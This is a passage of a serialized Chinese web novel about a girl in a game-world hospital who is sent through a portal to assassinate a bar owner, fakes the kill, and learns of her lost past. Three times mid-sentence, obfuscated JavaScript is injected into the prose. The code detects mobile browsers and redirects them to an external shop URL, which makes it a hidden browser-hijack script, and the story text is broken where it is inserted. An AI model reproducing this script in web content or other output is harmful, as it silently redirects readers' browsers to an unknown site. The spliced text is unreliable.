陌生医生愣了一下,疑惑地看向初与序:“单医生,这次两个孩子应该够了。而且医院从来没有让刚来的新人执行任务的先例,她下午才到五楼,什么都不懂,让她去更容易出事。” 单良冷笑一声:“你以为她真什么都不懂?她可没表面看着那么单纯。”说着,他转向那个出列的男生,“张磊,你带队。到了地方,把任务规则给她解释一遍。” 初与序垂下眼,走出人群,站在张磊和李荟身边。 而剩下的孩子,包括冬逢初和付遇,在另一位医生的指挥下离开大厅。初与序在与冬逢初擦肩而过时,抬起手,轻轻点了一下耳骨夹。 陌生医生从柜子里拿出三件普通的黑色长外套和三顶黑色帽子,扔给三个孩子:“到了地方,换上。” “你们今晚的目标,是‘蝶恋酒吧’的老板。限时八小时,资料已经发到你们手坏上了。”它说完,侧过身,一把拉开了身后一直遮挡着讲台的厚重黑帘。 帘布拉开,初与序终于看到了后面的场景。那里没有讲台,而是一扇独立的门框立在那里。门大开着,里面是一片缓缓旋转的银蓝色漩涡。 医生站在门旁,朝门内做了个手势,示意他们进去。 站在最前面的张磊双手插在病号服口袋里,脚像黏在地上,一动不动。 单良扬了扬眉,语调拖长:“进——来——啊。” 张磊忽然嗤笑一声,盯着单良:“你休想再让我进去,我凭什么听你的?” 单良和陌生医生用眼神交流了以后,他低下头,看着张磊,又重复了一遍:“快点进来。” “你自己进去吧。”张磊转身就要往回走。 下一秒,单良大步上前,一巴掌狠狠扇在张磊脸颊上,精准狠。 张磊被这巨大的力道打倒在地,脸颊肿起一个巴掌印,嘴角渗出血丝。 单良俯身掐住他的下巴,强迫他抬起手,声音冷冰冰的:“在这里,没人把你当小孩子宠。想不去?行啊,先打过我再说吧。” 张磊恶狠狠地瞪着单良,胸膛剧烈起伏了几下,但终究没再反抗。他吐出一口带血的唾沫,骂骂咧咧地爬起来,不再看任何人,一头撞进那扇门,消失在漩涡之中。 那个叫李荟的女生自始至终没有什么动静,跟着他进入门内。 初与序越看越觉得怪异,五楼的孩子确实在反抗,但他们反抗的原因似乎并不在于任务本身是否邪恶,而仅仅是“不想听从命令”本身。他们好像正在失去对生命的敬畏,变得暴力。 单良见她不动,不耐烦地“啧”了一声,伸手就要来抓她的胳膊。 初与序侧身避开他的触碰,看也不看他一眼,迈步走进那扇门。 白阔看着她消失的背影,带着笑意评价道:“选得不错,这三个小鬼性格都挺怪。” “可不是嘛。”单良阴沉着脸,“好不容易找到一个合适的眼睛,刚抓到,被那个浅头发的抢走了。没法给上面交代,妈的……” 白阔抱着胳膊摇了摇头:“那你是倒霉,现在就差她一个了?” 单良点点头,没吭声。 “哎。”白阔拍了拍单良的肩膀,转身离开,“祝你成功吧。” 204.坏孩子 踏入门内的过程很顺畅,没有阻力或失重感。初与序只看见眼前银蓝色的光芒一闪,脚底便已经踏上水泥地。 耳边隐约传来音乐声和人群的喧哗,她抬眼望去,发现自己身处一条昏暗的小巷,不远处霓虹闪烁,招牌上正是“蝶恋酒吧”四个字。巷子外面的世界热闹非凡,与善佑医院压抑的气氛判若两个世界。 张磊像是已经习惯了这种情况,他随意用袖子擦去嘴角血迹,朝初与序扬了扬下巴:“喂,新来的,看手环,目标是酒吧老板,我们是来杀人的。” 初与序闻言蹙眉:“杀人?为什么?” 她低头看向手环,屏幕已经自动弹出一份档案。 档案照片上是一个扎着低丸子头的年轻女子,正对着镜头微笑。初与序的目光停留在女子脖颈前方,锁骨中心的位置,一个清晰的红色蝴蝶纹身赫然在目。 ……白闽? 白闽脖子上同一个位置,有着一模一样的蝴蝶标记。 她继续看下去,档案显示女子名叫“陈秋天”,是蝶恋酒吧的老板,而在“重要往事”一栏,只有冰冷的四个字:【无可奉告】。 张磊也看完了资料,无所谓地耸耸肩:“又是个女的,他们让我们杀的人里面,没一个省油的灯,尤其是女性,贼厉害,一个个吃了大力丸一样,怪不得给了八个小时。” 一旁的李荟关掉手环,平静地向初与序解释:“善佑医院,还有它背后的人养着我们,就是用来处理这些见不得光的脏活。最多的就是杀人,目标五花八门,应该是一个组织里的,但都很难对付。他们从不告诉我们理由,只让我们进门。” 她顿了顿,补充道:“‘门’,就是你刚刚看到的那扇。医院每周都会随机点人进门,这次你除外。门能通到任何地方,任务完成,或者时间到了,它就会把我们强行拉回去,我们也没办法向外界求助。” 不等初与序细想,张磊已经马马虎虎套上那件过于宽大的黑外套,将鸭舌帽往头上一扣:“磨蹭什么,快点办事。今晚任务要是失败了,回去都没好果子吃。”说着,他头也不回地朝着酒吧走去。 李荟沉默地穿上外套,快步跟上。 初与序也将自己裹进那件漏风的黑色外套里,拉链拉高,遮去里面的病号服和半张脸,帽檐拉下,只露出一双冷静的眼睛,紧随两人。 酒吧门口霓虹闪烁,两名身材壮硕的安保像门神一样立在两侧。本以为这种场所的安保只是摆设,没想到三人刚靠近,其中一个就不耐烦地挥挥手: “去去去!三个小屁孩,毛长齐了吗就往里面闯?回家写作业去!” 其实已经十八岁了的初与序:“……” 三人脚步一顿,沉默地对视一眼,默契地转身,装作离开。 根据手环上院方提供的地图,他们绕到酒吧后方,这里安静许多。后厨有一扇通风用的高窗,位置不低,但对医院五楼的孩子而言不算什么。 张磊率先行动,他助跑两步,脚踩在墙面上借力一蹬,伸长手臂,抓住墙壁上凸起的砖头,三两下便攀到了窗沿。他单手稳住身体,另一只手推了推窗户,没有锁。 他小心地推开一条缝隙,探头迅速扫视内部,确认暂时无人后,手臂一撑,利落地翻了进去。 李荟没有犹豫,如法炮制,身形轻盈地翻了上去,悄无声息地进入窗内。 初与序呼出一团白雾,压□□内因为之前药物还留下的些许的虚弱,轻松跃起,同样干净利落地翻过窗户,稳稳落在厨房的地面上。 厨房里堆满了待洗的碗碟和刀叉,初与序在永冬之城待了数月,此刻触碰到这么真实的场景,思绪有些飘忽。 张磊左右看了看,随手从刀架上抄起一把尖刀,在手里掂了掂,直接揣进怀里。他朝两人扯出一个微笑:“分头找那人,找到冷静下死手。一个人搞不定就用手环叫帮手。” 说完,他慢悠悠推开厨房另一侧的门,走出厨房。 李荟沉默地取下一把剪刀,看向初与序:“你没接受过训练,会杀人没?要和我一起吗?” 初与序摇了摇头:“不用了,谢谢。” 李荟点了点头,握紧剪刀转身离开。 初与序没去碰任何刀具,她从另一侧门走出。门一开,震耳欲聋的音乐混合着酒精的气浪扑面而来,舞池里是舞动的人影和尖叫。她一向不喜欢这种吵闹的氛围,抬手将衣领拉得更高,遮住大半张脸。 她在原地站了一会儿,随即径直走向相对安静的吧台,在吧台的高脚凳上坐下。她刻意将帽檐又压低了几分,整个人缩在宽大的黑外套里。 借着昏暗的灯光,她低头看向酒单,装作随意地与吧台内的调酒师搭话:“你好,有什么推荐的酒吗?” 调酒师闻言抬头,光线昏暗,初与序全身包裹在外套里,坐在高凳上又掩盖了身高,他完全没察觉这是个未成年,只当是个较为消瘦的年轻女客。 “当然有。”他热情地凑近,手指点在酒单上,“强烈推荐我们老板自创的‘蝴蝶之吻’,很多客人点了都说好。” “蝴蝶之吻?”初与序装作好奇。 “对,我们老板特别喜欢蝴蝶。”调酒师自来熟,“您看这店里的装饰,还有好多蝴蝶标本呢。连她自己脖子上都纹了一只,挺漂亮的。” 白闽脖子上的蝴蝶,不是纹身,而是一个镶嵌的标识。而陈秋天这个的确是纹身。 初与序不动声色,顺着话题往下引:“名字很特别,是新品吗?” “那倒不是。”调酒师摇了摇头,“听那些老员工说,这酒是店刚开业时老板就设计好的,还特意交代,要是有人来点这杯‘蝴蝶之吻’,就直接免单。” “哦?”初与序撑着脸,“老板这么大方?” “应该吧,我不太清楚我们老板。”调酒师耸耸肩,“她人挺神秘的,平时不怎么露面,大部分时间都待在二楼的蝴蝶标本室里,捣鼓她那些收藏品。” 初与序点了点头:“谢谢。” 她说完,已经利落地滑下高凳,身影一闪,便消失在拥挤的人潮和灯光中。调酒师愣了一下,摇了摇头,继续忙活手里的活儿。 初与序走上二楼,楼梯口空无一人。或许是看着她不慌不忙的样子,沿途遇到的服务员也只当她是老板妹妹什么的,并未阻拦。 二楼的隔音很好,听不见一楼任何喧嚣,只剩下寂静。走廊不长,两侧各有两扇紧闭的房门,暖黄的壁灯洒下柔和的光晕。墙上装饰着各式各样的蝴蝶,油画、素描、图案。 她停在标有【蝴蝶标本室】的门前,门是关着的,上面贴着「进来请敲门」。 初与序抬起手,不轻不重地叩了三下。 门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017416|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内传来脚步声,门被人从里面拉开。 站在房间里的女子与资料上的一样,她松松地挽着一个侧边的丸子头,穿着秋叶颜色的高领宽松毛衣,眉眼温暖。脖颈前方,能看见被毛衣领遮住的一半红蝴蝶纹身。她手里还端着一个酒杯,弥漫开酒香。 陈秋天微微低头,看着门口这个将自己裹得只剩半边脸的孩子,疑惑地弯下腰:“小朋友,你是来找我吗?” 初与序抬起头,露出帽檐下清秀的脸,面无表情道:“陈老板,我和我的同伴是来杀你的,你需要立刻离开这里。” 陈秋天的目光落在她脸上,先是愣住,随即发出难以置信的惊喜,脱口而出: “初与序?!” 初与序错愕:“?” “你当年怎么一声不吭就和冬逢初玩消失了?我们找了你们好久,都以为你们死了!” 不等初与序弄明白她的话是什么意思,陈秋天迅速探出头左右看了看走廊,确定空无一人后,将初与序拉进房间,反手落锁。 房间里陈列着精美的蝴蝶标本,一个大型饲养笼里养着色彩斑斓的蝴蝶。阳台立着一只等人高的红色蝴蝶模型,在城市灯光的映衬下,美得有些不真实。房间正中,摆放着两张相对的小沙发。 陈秋天在其中一张沙发上坐下,将酒杯放在茶几上,朝初与序示意了一下对面的位置。 初与序依言坐下,开门见山:“你什么意思?” 陈秋天笑了起来:“序,你现在装什么高冷呢?”说着她好奇地打量了一下初与序这身装扮,“不过说回来,你怎么变小了?是什么新得到的技能吗?你小时候长得还挺可爱。” 初与序皱起眉:“我们认识吗?” 陈秋天终于意识到初与序并没有演戏:“我们何止是认识?以前下副本,我们经常搭伙的。不过……你现在也是‘长生者’了?按正常时间算,你现在应该是几千岁入土了来着。” 初与序不再开口,淡漠地看着陈秋天,脸上没有多余的表情。 陈秋天脸上的笑容收敛,她仔细端详着初与序,慢慢意识到了问题的严重性。 “等一下。”她难以置信道,“你是真的不记得我了?” 初与序摇了摇头:“我们难道不是第一次见面吗?”她顿了顿,“还有,你不是副本NPC?” 陈秋天抬手揉了揉额角:“那个,身份有点复杂。硬要说的话,我是玩家。” 她挥了挥手,看着初与序,“目前这个不重要。序,这些年到底发生了什么?你现在是失忆了吗?” “可能吧……”初与序移开视线。 陈秋天靠在沙发上,神色复杂地看着眼前熟悉又陌生的同伴:“你以前性格不是这样的。” “哦?”初与序问道,“我以前性格是什么样子的?” 陈秋天说:“你以前眼睛亮亮的,活泼开朗,表情多,很有趣,心比天高,没现在这么稳重。” 初与序笑了一下:“稳重或许是好事。” 陈秋天摇了摇头:“我觉得你这个年纪也不用急着稳重吧。” 她看见初与序不再说话,也向后靠在沙发里。因为十五岁的身体太瘦削,像被沙发包裹住一样,眉间带着忧愁,苍白淡漠。 她叹了口气。 “初与序,我们是怎么生疏到这个地步的?” 205.坏孩子 初与序沉默了几秒,转移话题:“你是永冬之城的玩家?为什么要进副本当NPC?” “这个就说来话长了。”陈秋天思考片刻,“其实我也不太清楚具体缘由,是闽闽让我这么做的。她说,几十年,几万年,或者更久,总会有人来这里找我。” 她站起身,给初与序倒了杯热咖啡,看着她接过道谢后,坐下,开始讲述那段被初与序遗忘的时光。 据他所说,她口中的“闽闽”,就是白闽,她们在现实世界小时候就认识了。 几千年前,永冬之城还未称之为“永冬”,只是一片雪原上的城市,一切还没有现在这么完善,没有执行官,只有经常出bug的系统,也没有列车,连通往副本的路都是玩家自己走,玩家拥有更多的自由。 没人介绍这是哪里,该怎么出去,只有一本规则书简单讲述了一切。他们认为通关所有副本,就能改写命运。 然而,玩家依旧忍受不了这片永恒的冻土,被操控的命运让他们心生厌恶,其中便包括陈秋天和初与序他们。 他们是永冬之城创始以来最先抵达在这里的玩家,抵达后的第三晚,是讨论会,玩家聚集在大堂内。那天系统刚好临时断路,大规模的那种。他们仗着没有系统约束,在永冬之城擅自行动。 一片混乱中,四位玩家站了出来,三男一女,初与序为首。她站在讲台上,手持《永冬之城规则手册》,点燃了它。 火光映着她的脸,那双眼睛里闪着灵动。她声音清亮道:“想回家的人,跟我们走,我们会想办法毁掉这里。” 玩家们炸开了锅,很快,他们分成了两队——激进派和保守派。 保守派占多数,他们恐惧、警惕,在这个陌生的环境,一旦计划失败,他们就会被系统抹杀。而激进派只有一百多人,陈秋天和白闽也在其中,他们认为这座城市本身就是牢笼,必须毁掉。 为了行动方便,这些激进派玩家聚居在D栋。当时的初与序、冬逢初、江意以及随歌这四位玩家组成了小队。 听陈秋天所说,江意仍然是全服第一,他冷静到几乎冷漠。随歌成天笑嘻嘻地像傻子。初与序活泼开朗,大部分玩家对她影响不错。唯独冬逢初最奇怪,他从不提过去,但他看着初与序总像是要落泪。 激进派的玩家们开始一次次试探永冬之城的底线。许多后来新增加的严苛规则,都是他们挑战过的领域。 他们干过的事情可以写满一本厚本子,什么用自制□□炸毁了半栋系统总部大厦,绑架过某副本的NPC,切断电路试图瘫痪系统,甚至黑进系统广播,循环播放:《江南style》。 当然,他们也受到了严重惩罚,但无论如何,D栋的激进派仍然不肯放弃,这也是后期为什么有传言“D栋的人都是疯子”。 来到永冬之城两个月后,让其他玩家吃惊的是,冬逢初竟然用一首英文歌跟初与序表白了,他们顺利成为了情侣。 陈秋天是这样说的:“其实当时大部分人都能看得出来冬逢初那小子暗恋你,但你似乎只忙着过副本,以至于冬逢初以为你对他没兴趣,找随歌哭了好久,结果就是被那黄毛忽悠着表白了,还成功了。” “我猜你就是因为他唱歌好听才和他在一起的,不过他嗓音确实不错,唱的歌叫什么来着?叫……《time machine》。” 那段时光是D栋所有人度过的最快乐的日子。 他们在D栋度过了半年,永冬之城以惊人的速度“完善”着,系统变得几乎无所不能,玩家的生存空间被不断探索。D栋的成员开始不断死在越来越危险的副本中,也有一部分人因恐惧退出。 慢慢道,最初几百人的队伍,最终只剩下四十余人。 这留下的几十人,个个能力非凡,行踪诡秘,性情难测,其他玩家避之不及,D栋白天越来越安静,就传出了“闹鬼”的说法。 又过了半年,整整一年过去,他们一无所获,所有关于永冬之城的有用线索都没发现,包括创始人、真实目的等,挫败感与日俱增,甚至有人开始怀疑,永冬之城根本没有所谓的创始人,一切都是他们集体的一场噩梦。 在这个念头浮现后的第五天,初与序和冬逢初,毫无征兆地消失了。 起初,陈秋天和其他人以为这两人也只是选择了离开,随歌气得大骂两人。但他们找遍了所有可能的地方,搜遍了每一个副本,甚至闯入系统总部查档案,结果却是一片空白。 那两个人,连同他们在系统中存在过的所有痕迹,都被抹去。 几天后,白闽忽然找到了陈秋天。她的神色异常复杂,欲言又止,但似乎因为什么,最终没有开口。 她只是将一份“长生”的权限交给了陈秋天,然后请求她进入《坏孩子》这个副本,以半NPC的身份等待。 “秋天,等一个人来找你。要等多久……我不知道。”白闽说。 陈秋天无条件信任白闽,她点了点头:“好啊,那我们有缘再见。” 白闽盯着她看了好久,突然冲过来抱着她哇哇大哭:“呜呜呜秋天……以后要是见不到你了怎么办?我该怎么找到你?怎么认出你?” 陈秋天便指着两人脖颈前的蝴蝶印记,安慰道:“那等我去了副本,想办法开一家酒吧,就叫‘蝶恋’。再做一杯酒,叫‘蝴蝶之吻’。只要你来,点这杯酒,无论过去多久,我都会出现在你面前。” 之后,陈秋天接受了长生权限,成为了永冬之城漫长历史中一名长生者,进入了这个副本。她发现了善佑医院那扇奇异的门,利用它来到了这里,建立了“蝶恋酒吧”。 她在这个时间里锚点,等了数千年。 未曾等到任何人,包括白闽。 却在今夜,等来了几千年前人间蒸发的初与序,一个变成了十五岁,失去了所有相关记忆的初与序。本以为初与序能告诉自己一切谜题,结果还需要自己帮初与序恢复记忆。 初与序沉默了许久,消化着这庞大的信息。她抬起眼,问道:“那你知不知道,善佑医院为什么要派孩子来杀人?” 陈秋天惊讶道:“难道你不知道吗?这个副本和现实的善佑医院几乎一模一样。现实里的那家医院,也在派你们这些孩子去杀人。” 她顿了顿,探究地看着初与序,“他们当年没有派过你吗?” 初与序皱起眉,试图在混乱的记忆中找到相关片段。但只要她一想当年的事,头疼就会炸开,立刻剥夺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017417|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了她的思考能力。她脸色一白,下意识地扶住了额头。 陈秋天被她突如其来的反应吓了一跳,按住她手臂:“好了,先别想了。你不记得也正常,你连我都忘了。” 待初与序稍稍平复,陈秋天才继续解释: “在进入永冬之城之前,我和白闽,是‘世界异常人员管理院’的成员。顾名思义,我们的工作就是处理世界各地出现的、对人类文明存在潜在威胁的异常个体或组织。” “当时,我们接到情报,竹翰学院、善佑医院内部人员行动诡异。上级便派遣我和白闽潜入调查。” “这不查不知道,我们发现,那里的医护人员不仅仅是在虐待儿童。他们似乎在借助其中某个病人的……精神力量,尝试创造另一个虚幻的世界。” “他们的目的,是让那个被创造出的世界取代现实,将所有有能力有价值的人聚集在那个受他们掌控的世界,为其所用。而那些被判为‘没有价值’的普通人,将被遗弃在即将毁灭的现实世界里,等待死亡。” 陈秋天抿了一口酒,继续说:“医院当时已经在着手训练那个病人的能力,试图启动这个足以摧毁整个人类文明的项目。我们‘管理院’的人自然不能坐视不管,开始动用自己的力量对抗他们。” 她看向初与序:“所以善佑医院才会不断训练五楼的孩子,派他们来清除我们这些阻碍者。” “后来,我们一直没有找到合适的机会彻底攻破善佑医院。再后来就被莫名其妙拉进了永冬之城,和现实切断了联系,这件事也只能搁置了。”她叹了口气,“直到我进入这个副本,重新接触到这些,才慢慢拼凑出更多细节。” 初与序问道:“既然你是通过副本来到这里,为什么你不知道我是因为副本规则才变小的?” 陈秋天解释道:“当时的《坏孩子》副本,规则和现在不一样。玩家并不会变成孩子。那时候我用的身份是一名记者。” “在过副本的时候,我偷偷查过很多资料。医院用来连接刺杀地点的‘门’,也是通过那个病人的能力创造出来的。我试图找到那个病人,但副本里能找到的资料说法都很模糊。有的说他几年前出院了,有的说他消失了,还有的说他被医院秘密囚禁起来了。” 陈秋天耸了耸肩:“虽然我现在不在现实世界,但永冬之城的副本大多基于现实事件。所以,副本里的NPC会让玩家重复当年现实中发生过的事。简单来说,当年在现实的善佑医院,他们很可能也派你来刺杀我和白闽,只是当时没成功,你不记得我们,而我们也没看清你的脸。” 初与序沉默地抿了一口已经微凉的咖啡,忽然问:“白闽是长生者吗?” 陈秋天摇了摇头,语气肯定:“不是。当时在D栋,获得长生权限的包括我只有两个人。” 初与序意识到不对:“但是我现在在永冬之城,还能见到白闽。她很年轻,三年前才到永冬之城。” “啊?”陈秋天也愣住,“按理说,除了我和意哥…就是江意,不知道你还记不记得,现在的永冬之城不应该还有你认识的人。” 初与序沉默了,她看着陈秋天:“你说谁?” “江意啊,他是永冬之城第一位长生者。” 206.坏孩子 这个信息超出了初与序的认知:“他从来没和我们说过他是长生者,他在隐瞒这件事。” 陈秋天也同样感到不解:“那意哥为什么要隐瞒这件事?” “也许当年的白闽和意哥一样,他们都知道些什么,但因为某种我们不知道的原因,被迫隐瞒。”初与序道。 她随即话锋一转,将如今永冬之城的现状告诉了陈秋天:“我所在的永冬之城,已经是九千多代了。那里出现了执行官和管理员。执行官是半人半机械,有自己的意识和感情,负责管理玩家。而管理员,据说是正常人类,但他们和妄主生活在同一个地方,没有玩家知道那里是哪里,也没有玩家见到过他们。” “从我进入永冬之城起,就听所有玩家说,永冬之城的创造者是一位神,被称作为‘妄主’。永冬之城并不是你们当年怀疑的一场梦。” 她没再靠在沙发上,坐直身体:“你说,永冬之城会不会就是善佑医院用那个病人的能力制造出来的世界?” 陈秋天睁大眼睛,她愣了几秒,才慢慢点头:“我之前还真没往这儿想,但你这么一说,好像……真有可能。” 要真是这样,很多事就说得通了。关应好那帮人,还有他们背后的“屠宰场”,在现实世界里估计就是善佑医院背后势力的一份子。他们清楚内幕,因为都是有“能力”的人,所以被组织送进了永冬之城。他们拼命想弄死初与序等人,原因大概有两个: 一,初与序和冬逢初小时曾在被收购后的善佑医院待过很长一段时间,算半个知情者;二,他们俩和景明垂都是有潜力掀翻永冬之城的人,也都是新人,威胁大又好下手。 “屠宰场”为了保住永冬之城,肯定会先拿他们三人开刀。等解决了他们,下个目标八成就是他们队伍里的江意和随歌,以及D栋的激进派玩家。 陈秋天挠了挠头:“那是不是只要找到那个病人,让他自己切断意识联系,永冬之城就能完蛋?” 初与序摇了摇头,有些无奈:“理论上是吧。可我们现在连病人是男是女都不清楚,很难找到。” 陈秋天也蔫儿了,叹了口气:“任重道远啊……” 正说着,初与序右手上的手环“叮咚”响了一声。她低头看去,屏幕显示【任务剩余:5小时】。 她重新看向陈秋天:“外面还有两个要杀你的孩子,你打算怎么应付?” 陈秋天脸上露出“早就准备好了”的表情,自信地点了点头。她站起身,走到墙角一个帘子后面,“哗啦”一声拉开。 帘子后面立着一个和她身高体重一模一样的仿真人偶,穿着同款毛衣,梳着一样的侧丸子头,连脸上的淡妆都画了,远远看去,根本分辨不出真假。 陈秋天拍了拍人偶的肩膀,道:“本来是想留着假死脱身用的,不过既然你来了,正好。” “你可以直接把它当尸体拖回去交差。五楼的孩子们交了任务就行,没人会仔细检查尸体。通常拍个照给医生确认完,他们就随便找条沟或者海里扔了。用这个,肯定能混过去。” 初与序:“……” 往自己家里面放一个和自己一模一样的人偶不吓人吗?! 初与序左右看了看,拿起桌上陈秋天提前准备好的血浆,找准角度喷了几下。血液完美覆盖了几处容易穿帮的地方,让这具“尸体”更加真实。 “手法不错。”陈秋天满意地点了点头,顺手从旁边抽屉里扯住一卷黑胶带,走过去,对着人偶的胳膊和腿缠了几道。 初与序没说话,直接用手环拨通了另外两人的通讯。 “人解决了。”她淡淡道。 张磊不可思议道:“真的假的?这么快?你不是没受过医院的训练吗?” 李荟冷静地问道:“你现在在哪里?” 初与序只是简短地回答:“翻窗那里碰头。” 她这边挂断,陈秋天那边也缠好了。初与序看着地上这个比自己还高出半个头的“尸体”陷入沉默。 她叹了口气,抬头去看陈秋天:“你要和我一起回永冬之城吗?” 陈秋天挥了挥手,示意不用:“我在这儿不是还开着这间酒吧嘛,总得花点时间处理掉。等你这个副本差不多结束,我这边应该也弄好了,到时候永冬之城见。” 初与序点了点头,有些费力地拖起那只沉甸甸的人偶,走到房间一侧的阳台,拖着“尸体”利落地翻身跃下。 陈秋天走到阳台边,看着下方空荡荡的巷子,摇了摇头:“身手倒是比以前厉害多了。” 初与序拖着“尸体”回到之前翻窗的小巷,张磊和李荟已经等在那里了。她把“尸体”往地上一放,那两人凑上前看了一眼。 人偶浑身是血,一动不动,乍一看确实唬人。他们没有多想,也没兴趣检查。 “算你走运。”张磊撇撇嘴,他抬起手腕,用手环对着“尸体”咔嚓拍了几张照片,传回了医院。等了一会儿,收到确认回复后,他关掉屏幕,不耐烦地挥挥手,“随便找个海扔了完事,赶紧回去。” 他说完,率先转身朝巷子外面走去。 初与序再次拖起“尸体”,跟在后面。 酒吧不远处就是一片海,冬夜的海风带着湿冷的咸味,刮在脸上像刀子。海面漆黑,只有远处灯塔微弱的光晕。 李荟找来几块沉重的石头,用随身带的绳子利落地绑在“尸体”的腰部和腿部。然后和张磊一人抬头一人抬脚,默契地将这具“尸体”甩向海里。 “噗通”一声,水花溅起,那团黑影很快被黑暗的海水吞没。 三人站在岸边,默契地看着海面恢复平静。 紧接着,他们身后的空气扭转,那扇熟悉的门悄无声息地浮现,门内蓝色的漩涡缓缓转动。 三人依次走了进去,再出来时,已经回到了善佑医院五楼大堂,单良和另外两位医生还等在那里。 看到他们三个完好无损地回来,单良脸上闪过惊讶,陌生医生皱着眉:“这次目标这么简单?” 张磊耸耸肩,朝着初与序这边抬了下下巴:“问她,人是她解决的,我们俩连目标长啥样子都没见着。” 陌生医生诧异地看向初与序,单良的目光也在初与序身上停留了几秒,然后转向陌生医院,扯起嘴角,慢悠悠地说:“你看,我说什么来着?” 初与序没理会医生意味不明的目光,只是将身上的黑色外套和帽子脱下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034017|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,放在一旁的椅子上,随后朝着站在一旁的白阔微微颔首,算是打过招呼,便转身推门出了大厅。 门一开,就看到冬逢初独自坐在走廊长椅上。听到动静,他站起身迎过来,确认初与序没有受伤,才松了口气。 “回去说。”初与序淡淡道。 两人回到505,反手锁好门,确认隔墙无耳后,初与序才将自己在那扇门后的所有经历原原本本告诉了冬逢初,包括两人当年离奇消失的线索。 冬逢初听完,沉默了良久,神色复杂:“刚才那三小时,五楼的医生一直在训练我们这些没有进门的孩子,确实是教我们如何更有效率地杀人。” 他侧头看向初与序:“那么系统说的主线任务‘五楼的秘密’,是不是指的就是这些? ” 初与序摇了摇头:“可如果只是为了培养杀手,单良为什么非要我的右眼?他说那是他等了很久才等到的,说明这个副本的‘五楼秘密’不全是我们刚才经历的这些,我们一直顺着现实的线索走,把副本的任务搁置了。这么久过去,关于主线任务,我们几乎没找到头绪。” 冬逢初道:“没关系,今晚可以找机会溜出去。” “好。”初与序顿了顿,忽然问道,“你觉得白阔是个什么样的人?” 冬逢初沉思片刻,刚抬起眼想和初与序交流,耳边就传来“叮咚——”一声。 医院广播突然响起:“吃药时间到,所有病患,立刻到护士站领取药物。” 两人立刻闭上嘴,默默打开门,顺着人流走向护士站。 发药的还是白阔,他们来得算晚,前面已经排起了不长的队伍。不巧的是,初与序和冬逢初正好排到了付遇前面。 付遇就那样冷冰冰地站在他们身后,两人能感受到她毫无温度的视线钉在背上,凉飕飕的。 “……” 付遇忽然开口,压低声音:“初与序,你在门里,做了什么?” 初与序头也不回:“无可奉告。” 付遇:“……” 站在一旁的冬逢初忍不住低笑出声,幸好付遇似乎不打算在此时此地动手。 队伍缓慢前进,每个孩子领到几粒颜色各异的药片,当众吞下后,都必须张开嘴,让白阔检查,确认药片确实咽下去了,才会被放行。 轮到冬逢初,他接过药片,仰头吞下,然后顺从地张开嘴。 白阔看了一眼,点了点头。冬逢初面色如常地转身离开,初与序余光瞥见,他在拐角转弯的时候,快速从病号服袖子里抖出几粒药片,扔进了花盆里。 接着是初与序,她同样接过药,放入口中,做出吞咽的动作,然后张开嘴。 白阔看了看,也点了点头。 初与序正要转身,白阔却突然叫住她:“等等。” 她停下脚步,看向白阔。 “手,张开。”白阔示意。 初与序摊开双手,空空如也:“白医生,药我自然会吃的。” 白阔看着她这副过分老实配合的样子,挥了挥手:“走吧。” 初与序转身离开,回到505病房,立刻进入洗手间,俯身在水池边,将几粒完好无损的药片熟练地吐出。 207.坏孩子 “凌晨一点已到,熄灯就寝,所有病患不得随便出入病房,违者受罚。” 广播音落下,整个五楼病区的灯光“啪”地一声齐齐熄灭,陷入一片黑暗,只有505病房内亮着两根蜡烛。 初与序和冬逢初没有躺下,他们在病房里静静等待了将近半个小时,直到门外走廊彻底听不见任何脚步声,才小心翼翼地举着蜡烛推开房门。 冬逢初用气音问:“我们现在去禁闭室吗?” 初与序却摇了摇头,目光落在走廊前方一个移动的人影上:“不,我们跟着他。” 冬逢初顺着她的视线望去,这才看清前面那个打着手电筒的身影,竟然是单良。他完全没料到这个时间还有孩子在外面活动,更没察觉到身后跟上了两个小朋友。 两人借着墙壁的遮掩,远远跟着。 单良一路走到大堂,他停在墙壁前左右张望了一下,确认四下无人,然后伸出手,按下了墙上的一个普通灯光开关。 预想中的灯光并未亮起,反而从开关面板下方,弹出一个隐藏的数字键盘。单良快速输入了一串密码,键盘发出蓝光。 紧接着,他面前的一部分墙壁竟然缓缓向上升起,露出一个向下的洞口,黑黝黝的,带着霉味的冷风从里面涌出。 单良关掉手电,迈步走了进去。暗道两侧墙壁上的蜡烛此时自动亮起,为他照亮了向下延伸的石阶。 初与序和冬逢初快步跟上,刚踏入阶梯,身后的墙壁便缓缓落下,严丝合缝地关闭。 楼梯向下延伸,没有拐弯,这倒省去了不少麻烦,两人只要一直向下走就行。 终于,单良走完了最后一级台阶。 